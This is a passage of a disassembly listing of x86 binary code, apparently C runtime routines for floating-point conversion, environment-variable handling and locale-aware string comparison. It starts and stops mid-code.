sub_41D094+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_41CAA1 lea eax, [ebp+var_10] push eax call sub_41CAA1 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_41CA43 lea eax, [ebp+var_10] push eax call sub_41CAA1 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_41D275 mov eax, [ebp+arg_14] loc_41D2C2: ; CODE XREF: sub_41D094+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_41D2FF loc_41D2CF: ; CODE XREF: sub_41D094+248j cmp eax, ecx jb short loc_41D2E2 cmp byte ptr [eax], 39h jnz short loc_41D2DE mov byte ptr [eax], 30h dec eax jmp short loc_41D2CF ; --------------------------------------------------------------------------- loc_41D2DE: ; CODE XREF: sub_41D094+242j cmp eax, ecx jnb short loc_41D2E6 loc_41D2E2: ; CODE XREF: sub_41D094+23Dj inc eax inc word ptr [ebx] loc_41D2E6: ; CODE XREF: sub_41D094+24Cj inc byte ptr [eax] loc_41D2E8: ; CODE XREF: sub_41D094+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_41D2F7: ; CODE XREF: sub_41D094+F0j mov eax, [ebp+var_4] loc_41D2FA: ; CODE XREF: sub_41D094+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D2FF: ; CODE XREF: sub_41D094+239j ; sub_41D094+275j cmp eax, ecx jb short loc_41D30F cmp byte ptr [eax], 30h jnz short loc_41D30B dec eax jmp short loc_41D2FF ; --------------------------------------------------------------------------- loc_41D30B: ; CODE XREF: sub_41D094+272j cmp eax, ecx jnb short loc_41D2E8 loc_41D30F: ; CODE XREF: sub_41D094+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_41D31E: ; CODE XREF: sub_41D094+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_41D2FA sub_41D094 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D327 proc near ; CODE XREF: sub_418C2C+3423p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_41D38E dec eax dec eax jz short loc_41D37F sub eax, 4 jz short loc_41D37F sub eax, 3 jz short loc_41D37F sub eax, 4 jz short loc_41D372 sub eax, 6 jz short loc_41D365 dec eax jz short loc_41D358 or eax, 0FFFFFFFFh jmp loc_41D450 ; --------------------------------------------------------------------------- loc_41D358: ; CODE XREF: sub_41D327+27j mov esi, ds:dword_45EADC mov eax, offset dword_45EADC jmp short loc_41D399 ; --------------------------------------------------------------------------- loc_41D365: ; CODE XREF: sub_41D327+24j mov esi, ds:dword_45EAD8 mov eax, offset dword_45EAD8 jmp short loc_41D399 ; --------------------------------------------------------------------------- loc_41D372: ; CODE XREF: sub_41D327+1Fj mov esi, ds:dword_45EAE0 mov eax, offset dword_45EAE0 jmp short loc_41D399 ; --------------------------------------------------------------------------- loc_41D37F: ; CODE XREF: sub_41D327+10j ; sub_41D327+15j ... push edi call sub_41D454 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_41D399 ; --------------------------------------------------------------------------- loc_41D38E: ; CODE XREF: sub_41D327+Cj mov esi, ds:dword_45EAD4 mov eax, offset dword_45EAD4 loc_41D399: ; CODE XREF: sub_41D327+3Cj ; sub_41D327+49j ... cmp esi, 1 jnz short loc_41D3A5 xor eax, eax jmp loc_41D450 ; --------------------------------------------------------------------------- loc_41D3A5: ; CODE XREF: sub_41D327+75j test esi, esi jnz short loc_41D3B0 push 3 call sub_4158C8 loc_41D3B0: ; CODE XREF: sub_41D327+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_41D3C2 cmp edi, 0Bh jz short loc_41D3C2 cmp edi, 4 jnz short loc_41D3E8 loc_41D3C2: ; CODE XREF: sub_41D327+8Fj ; sub_41D327+94j mov ebx, ds:dword_45E8B4 and ds:dword_45E8B4, 0 cmp edi, ecx jnz short loc_41D417 mov edx, ds:dword_42D74C mov ds:dword_42D74C, 8Ch mov [ebp+arg_0], edx jmp short loc_41D3EB ; --------------------------------------------------------------------------- loc_41D3E8: ; CODE XREF: sub_41D327+99j mov ebx, [ebp+arg_0] loc_41D3EB: ; CODE XREF: sub_41D327+BFj cmp edi, ecx jnz short loc_41D417 mov eax, ds:dword_42D740 mov ecx, ds:dword_42D744 add ecx, eax cmp eax, ecx jge short loc_41D41E lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:42D6D0h[edx*4] loc_41D40C: ; CODE XREF: sub_41D327+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_41D40C jmp short loc_41D41E ; --------------------------------------------------------------------------- loc_41D417: ; CODE XREF: sub_41D327+AAj ; sub_41D327+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_41D42C loc_41D41E: ; CODE XREF: sub_41D327+D7j ; sub_41D327+EEj push ds:dword_42D74C push 8 call esi ; dword_45EADC pop ecx pop ecx jmp short loc_41D43A ; --------------------------------------------------------------------------- loc_41D42C: ; CODE XREF: sub_41D327+F5j push edi call esi ; dword_45EADC cmp edi, 0Bh pop ecx jz short loc_41D43A cmp edi, 4 jnz short loc_41D44D loc_41D43A: ; CODE XREF: sub_41D327+103j ; sub_41D327+10Cj cmp edi, 8 mov ds:dword_45E8B4, ebx jnz short loc_41D44D mov eax, [ebp+arg_0] mov ds:dword_42D74C, eax loc_41D44D: ; CODE XREF: sub_41D327+111j ; sub_41D327+11Cj xor eax, eax pop ebx loc_41D450: ; CODE XREF: sub_41D327+2Cj ; sub_41D327+79j pop edi pop esi pop ebp retn sub_41D327 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D454 proc near ; CODE XREF: sub_41D327+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, ds:dword_42D748 cmp ds:dword_42D6CC, edx push esi mov eax, offset dword_42D6C8 jz short loc_41D482 lea esi, [ecx+ecx*2] lea esi, ds:42D6C8h[esi*4] loc_41D476: ; CODE XREF: sub_41D454+2Cj add eax, 0Ch cmp eax, esi jnb short loc_41D482 cmp [eax+4], edx jnz short loc_41D476 loc_41D482: ; CODE XREF: sub_41D454+16j ; sub_41D454+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:42D6C8h[ecx*4] cmp eax, ecx jnb short loc_41D496 cmp [eax+4], edx jz short locret_41D498 loc_41D496: ; CODE XREF: sub_41D454+3Bj xor eax, eax locret_41D498: ; CODE XREF: sub_41D454+40j retn sub_41D454 endp ; =============== S U B R O U T I N E ======================================= sub_41D499 proc near ; CODE XREF: sub_41C1F2+23p arg_0 = dword ptr 4 cmp ds:dword_45FE68, 0 push ebx push esi mov esi, ds:dword_45E82C push edi jz short loc_41D510 test esi, esi jnz short loc_41D4CA cmp ds:dword_45E834, esi jz short loc_41D510 call sub_41D867 test eax, eax jnz short loc_41D510 mov esi, ds:dword_45E82C test esi, esi jz short loc_41D510 loc_41D4CA: ; CODE XREF: sub_41D499+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_41D510 push ebx call sub_413DB0 pop ecx mov edi, eax loc_41D4DB: ; CODE XREF: sub_41D499+6Dj mov eax, [esi] test eax, eax jz short loc_41D510 push eax call sub_413DB0 cmp eax, edi pop ecx jbe short loc_41D503 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_41D503 push edi push ebx push eax call sub_41D828 add esp, 0Ch test eax, eax jz short loc_41D508 loc_41D503: ; CODE XREF: sub_41D499+51j ; sub_41D499+59j add esi, 4 jmp short loc_41D4DB ; --------------------------------------------------------------------------- loc_41D508: ; CODE XREF: sub_41D499+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_41D512 ; --------------------------------------------------------------------------- loc_41D510: ; CODE XREF: sub_41D499+10j ; sub_41D499+1Cj ... xor eax, eax loc_41D512: ; CODE XREF: sub_41D499+75j pop edi pop esi pop ebx retn sub_41D499 endp ; =============== S U B R O U T I N E ======================================= sub_41D516 proc near ; CODE XREF: sub_41C8DC+8Bp ; sub_41C8DC+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, ds:dword_45FC20 jnb short loc_41D57D mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_45FB20[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_41D57D mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_41D556 and cl, 7Fh jmp short loc_41D563 ; --------------------------------------------------------------------------- loc_41D556: ; CODE XREF: sub_41D516+39j cmp [esp+4+arg_4], 4000h jnz short loc_41D571 or cl, 80h loc_41D563: ; CODE XREF: sub_41D516+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_41D571: ; CODE XREF: sub_41D516+48j mov ds:dword_45E804, 16h jmp short loc_41D587 ; --------------------------------------------------------------------------- loc_41D57D: ; CODE XREF: sub_41D516+Bj ; sub_41D516+27j mov ds:dword_45E804, 9 loc_41D587: ; CODE XREF: sub_41D516+65j or eax, 0FFFFFFFFh pop esi retn sub_41D516 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D58C proc near ; CODE XREF: sub_41D094+165p ; sub_41D7AC+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_41D78C cmp cx, 7FFFh jnb loc_41D78C cmp dx, 0BFFDh ja loc_41D78C cmp dx, 3FBFh ja short loc_41D5F5 xor eax, eax jmp short loc_41D62F ; --------------------------------------------------------------------------- loc_41D5F5: ; CODE XREF: sub_41D58C+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_41D617 inc [ebp+arg_0] test [esi+8], edx jnz short loc_41D617 xor eax, eax cmp [esi+4], eax jnz short loc_41D619 cmp [esi], eax jnz short loc_41D619 jmp loc_41D786 ; --------------------------------------------------------------------------- loc_41D617: ; CODE XREF: sub_41D58C+71j ; sub_41D58C+79j xor eax, eax loc_41D619: ; CODE XREF: sub_41D58C+80j ; sub_41D58C+84j cmp cx, ax jnz short loc_41D63C inc [ebp+arg_0] test [ebx+8], edx jnz short loc_41D63C cmp [ebx+4], eax jnz short loc_41D63C cmp [ebx], eax jnz short loc_41D63C loc_41D62F: ; CODE XREF: sub_41D58C+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_41D7A7 ; --------------------------------------------------------------------------- loc_41D63C: ; CODE XREF: sub_41D58C+90j ; sub_41D58C+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_41D64C: ; CODE XREF: sub_41D58C+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_41D6A0 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_41D668: ; CODE XREF: sub_41D58C+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_41CA22 add esp, 0Ch test eax, eax jz short loc_41D693 mov eax, [ebp+var_4] inc word ptr [eax] loc_41D693: ; CODE XREF: sub_41D58C+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_41D668 loc_41D6A0: ; CODE XREF: sub_41D58C+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_41D64C add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_41D6E3 loc_41D6BE: ; CODE XREF: sub_41D58C+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_41D6DC lea eax, [ebp+var_24] push eax call sub_41CAA1 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_41D6BE loc_41D6DC: ; CODE XREF: sub_41D58C+136j cmp word ptr [ebp+arg_0], 0 jg short loc_41D71C loc_41D6E3: ; CODE XREF: sub_41D58C+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_41D71C movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_41D6FC: ; CODE XREF: sub_41D58C+184j test byte ptr [ebp+var_24], 1 jz short loc_41D705 inc [ebp+var_14] loc_41D705: ; CODE XREF: sub_41D58C+174j lea eax, [ebp+var_24] push eax call sub_41CACF dec ebx pop ecx jnz short loc_41D6FC cmp [ebp+var_14], 0 jz short loc_41D71C or byte ptr [ebp+var_24], 1 loc_41D71C: ; CODE XREF: sub_41D58C+155j ; sub_41D58C+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_41D733 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_41D768 loc_41D733: ; CODE XREF: sub_41D58C+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_41D765 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_41D760 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_41D75A inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_41D768 ; --------------------------------------------------------------------------- loc_41D75A: ; CODE XREF: sub_41D58C+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_41D768 ; --------------------------------------------------------------------------- loc_41D760: ; CODE XREF: sub_41D58C+1B5j inc [ebp+var_20+2] jmp short loc_41D768 ; --------------------------------------------------------------------------- loc_41D765: ; CODE XREF: sub_41D58C+1ABj inc [ebp+var_24+2] loc_41D768: ; CODE XREF: sub_41D58C+1A5j ; sub_41D58C+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_41D78C mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_41D786: ; CODE XREF: sub_41D58C+86j mov [esi+0Ah], ax jmp short loc_41D7A7 ; --------------------------------------------------------------------------- loc_41D78C: ; CODE XREF: sub_41D58C+42j ; sub_41D58C+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_41D7A7: ; CODE XREF: sub_41D58C+ABj ; sub_41D58C+1FEj pop edi pop esi pop ebx leave retn sub_41D58C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D7AC proc near ; CODE XREF: sub_41CBC3+440p ; sub_41D094+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_42DBC0 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_41D825 jge short loc_41D7D4 mov eax, [ebp+arg_4] mov ebx, offset dword_42DD20 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_41D7D4: ; CODE XREF: sub_41D7AC+16j cmp [ebp+arg_8], ecx jnz short loc_41D7DF mov eax, [ebp+arg_0] mov [eax], cx loc_41D7DF: ; CODE XREF: sub_41D7AC+2Bj cmp [ebp+arg_4], ecx jz short loc_41D825 push esi push edi loc_41D7E6: ; CODE XREF: sub_41D7AC+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_41D81E lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_41D811 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_41D811: ; CODE XREF: sub_41D7AC+57j push esi push [ebp+arg_0] call sub_41D58C pop ecx pop ecx xor ecx, ecx loc_41D81E: ; CODE XREF: sub_41D7AC+49j cmp [ebp+arg_4], ecx jnz short loc_41D7E6 pop edi pop esi loc_41D825: ; CODE XREF: sub_41D7AC+14j ; sub_41D7AC+36j pop ebx leave retn sub_41D7AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D828 proc near ; CODE XREF: sub_41D499+5Ep ; sub_41DCD9+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_41D835 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41D835: ; CODE XREF: sub_41D828+7j push ds:dword_45FC24 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push ds:dword_45FE44 call sub_41D8D5 add esp, 1Ch test eax, eax jnz short loc_41D862 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41D862: ; CODE XREF: sub_41D828+31j add eax, 0FFFFFFFEh pop ebp retn sub_41D828 endp ; =============== S U B R O U T I N E ======================================= sub_41D867 proc near ; CODE XREF: sub_41D499+1Ep ; sub_41DB52+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, ds:dword_45E834 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_41D8C8 mov ebx, ds:dword_41F128 loc_41D880: ; CODE XREF: sub_41D867+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; dword_41F128 mov ebp, eax cmp ebp, edi jz short loc_41D8D0 push ebp call sub_413E5F cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_41D8D0 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; dword_41F128 test eax, eax jz short loc_41D8D0 push edi push [esp+18h+var_4] call sub_41DB52 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_41D880 loc_41D8C8: ; CODE XREF: sub_41D867+11j xor eax, eax loc_41D8CA: ; CODE XREF: sub_41D867+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_41D8D0: ; CODE XREF: sub_41D867+29j ; sub_41D867+38j ... or eax, 0FFFFFFFFh jmp short loc_41D8CA sub_41D867 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D8D5 proc near ; CODE XREF: sub_41D828+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41FC18 push offset sub_41AE98 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp ds:dword_45EAE8, ebx push 1 pop edi jnz short loc_41D948 push edi mov eax, offset dword_41F868 push eax push edi push eax push ebx push ebx call ds:dword_41F008 ; CompareStringW test eax, eax jz short loc_41D925 mov ds:dword_45EAE8, edi jmp short loc_41D948 ; --------------------------------------------------------------------------- loc_41D925: ; CODE XREF: sub_41D8D5+46j push edi mov eax, offset dword_42E344 push eax push edi push eax push ebx push ebx call ds:dword_41F00C ; CompareStringA test eax, eax jz loc_41DB3E mov ds:dword_45EAE8, 2 loc_41D948: ; CODE XREF: sub_41D8D5+31j ; sub_41D8D5+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_41D95F push esi push [ebp+arg_8] call sub_41A025 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_41D95F: ; CODE XREF: sub_41D8D5+78j cmp [ebp+arg_14], ebx jle short loc_41D974 push [ebp+arg_14] push [ebp+arg_10] call sub_41A025 pop ecx pop ecx mov [ebp+arg_14], eax loc_41D974: ; CODE XREF: sub_41D8D5+8Dj mov eax, ds:dword_45EAE8 cmp eax, 2 jnz short loc_41D999 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41F00C ; CompareStringA jmp loc_41DB40 ; --------------------------------------------------------------------------- loc_41D999: ; CODE XREF: sub_41D8D5+A7j cmp eax, edi jnz loc_41DB3E cmp [ebp+arg_18], ebx jnz short loc_41D9AE mov eax, ds:dword_45E8A8 mov [ebp+arg_18], eax loc_41D9AE: ; CODE XREF: sub_41D8D5+CFj cmp esi, ebx jz short loc_41D9BB cmp [ebp+arg_14], ebx jnz loc_41DA53 loc_41D9BB: ; CODE XREF: sub_41D8D5+DBj cmp esi, [ebp+arg_14] jnz short loc_41D9C8 loc_41D9C0: ; CODE XREF: sub_41D8D5+13Cj ; sub_41D8D5+16Dj push 2 loc_41D9C2: ; CODE XREF: sub_41D8D5+146j pop eax jmp loc_41DB40 ; --------------------------------------------------------------------------- loc_41D9C8: ; CODE XREF: sub_41D8D5+E9j cmp [ebp+arg_14], edi jle short loc_41D9D4 loc_41D9CD: ; CODE XREF: sub_41D8D5+151j ; sub_41D8D5+159j ... mov eax, edi jmp loc_41DB40 ; --------------------------------------------------------------------------- loc_41D9D4: ; CODE XREF: sub_41D8D5+F6j cmp esi, edi jg short loc_41DA19 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 0A70000h inc eax test eax, eax jz loc_41DB3E cmp esi, ebx jle short loc_41DA1D cmp [ebp+var_3C], 2 jb short loc_41DA19 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_41DA19 loc_41D9FF: ; CODE XREF: sub_41D8D5+142j mov dl, [eax+1] cmp dl, bl jz short loc_41DA19 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_41DA13 cmp cl, dl jbe short loc_41D9C0 loc_41DA13: ; CODE XREF: sub_41D8D5+138j inc eax inc eax cmp [eax], bl jnz short loc_41D9FF loc_41DA19: ; CODE XREF: sub_41D8D5+101j ; sub_41D8D5+120j ... push 3 jmp short loc_41D9C2 ; --------------------------------------------------------------------------- loc_41DA1D: ; CODE XREF: sub_41D8D5+11Aj cmp [ebp+arg_14], ebx jle short loc_41DA53 cmp [ebp+var_3C], 2 jb short loc_41D9CD lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_41D9CD loc_41DA30: ; CODE XREF: sub_41D8D5+177j mov dl, [eax+1] cmp dl, bl jz short loc_41D9CD mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_41DA48 cmp cl, dl jbe loc_41D9C0 loc_41DA48: ; CODE XREF: sub_41D8D5+169j inc eax inc eax cmp [eax], bl jnz short loc_41DA30 jmp loc_41D9CD ; --------------------------------------------------------------------------- loc_41DA53: ; CODE XREF: sub_41D8D5+E0j ; sub_41D8D5+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call ds:dword_41F12C ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_41DB3E mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_413E30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41DAA2 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_41DAA2: ; CODE XREF: sub_41D8D5+1B5j cmp [ebp+var_24], ebx jz loc_41DB3E push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, ds:dword_41F12C call esi ; dword_41F12C test eax, eax jz short loc_41DB3E push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; dword_41F12C mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_41DB3E mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_413E30 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_41DB0D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_41DB0D: ; CODE XREF: sub_41D8D5+224j cmp edi, ebx jz short loc_41DB3E push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call ds:dword_41F12C ; MultiByteToWideChar test eax, eax jz short loc_41DB3E push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41F008 ; CompareStringW jmp short loc_41DB40 ; --------------------------------------------------------------------------- loc_41DB3E: ; CODE XREF: sub_41D8D5+63j ; sub_41D8D5+C6j ... xor eax, eax loc_41DB40: ; CODE XREF: sub_41D8D5+BFj ; sub_41D8D5+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D8D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB52 proc near ; CODE XREF: sub_41D867+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_41DBB6 push 3Dh push [ebp+arg_0] call sub_41DD98 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_41DBB6 cmp [ebp+arg_0], esi jz short loc_41DBB6 mov eax, ds:dword_45E82C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, ds:dword_45E830 jnz short loc_41DB9C push eax call sub_41DD31 pop ecx mov ds:dword_45E82C, eax loc_41DB9C: ; CODE XREF: sub_41DB52+3Cj cmp eax, edi jnz short loc_41DBF4 cmp [ebp+arg_4], edi jz short loc_41DBBE cmp ds:dword_45E834, edi jz short loc_41DBBE call sub_41D867 test eax, eax jz short loc_41DBF4 loc_41DBB6: ; CODE XREF: sub_41DB52+Dj ; sub_41DB52+22j ... or eax, 0FFFFFFFFh loc_41DBB9: ; CODE XREF: sub_41DB52+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DBBE: ; CODE XREF: sub_41DB52+51j ; sub_41DB52+59j cmp ebx, edi jnz loc_41DCD2 push 4 call sub_413E5F cmp eax, edi pop ecx mov ds:dword_45E82C, eax jz short loc_41DBB6 mov [eax], edi cmp ds:dword_45E834, edi jnz short loc_41DBF4 push 4 call sub_413E5F cmp eax, edi pop ecx mov ds:dword_45E834, eax jz short loc_41DBB6 mov [eax], edi loc_41DBF4: ; CODE XREF: sub_41DB52+4Cj ; sub_41DB52+62j ... sub esi, [ebp+arg_0] mov edi, ds:dword_45E82C mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_41DCD9 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_41DC54 cmp dword ptr [edi], 0 jz short loc_41DC54 test ebx, ebx jz short loc_41DC4C push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_413ED3 pop ecx loc_41DC26: ; CODE XREF: sub_41DB52+E2j cmp dword ptr [edi], 0 jz short loc_41DC36 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_41DC26 ; --------------------------------------------------------------------------- loc_41DC36: ; CODE XREF: sub_41DB52+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41556F pop ecx test eax, eax pop ecx jz short loc_41DC86 jmp short loc_41DC81 ; --------------------------------------------------------------------------- loc_41DC4C: ; CODE XREF: sub_41DB52+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_41DC86 ; --------------------------------------------------------------------------- loc_41DC54: ; CODE XREF: sub_41DB52+BDj ; sub_41DB52+C2j test ebx, ebx jnz short loc_41DCD2 test esi, esi jge short loc_41DC5E neg esi loc_41DC5E: ; CODE XREF: sub_41DB52+108j lea eax, ds:8[esi*4] push eax push edi call sub_41556F pop ecx test eax, eax pop ecx jz loc_41DBB6 mov ecx, [ebp+arg_0] mov [eax+esi*4], 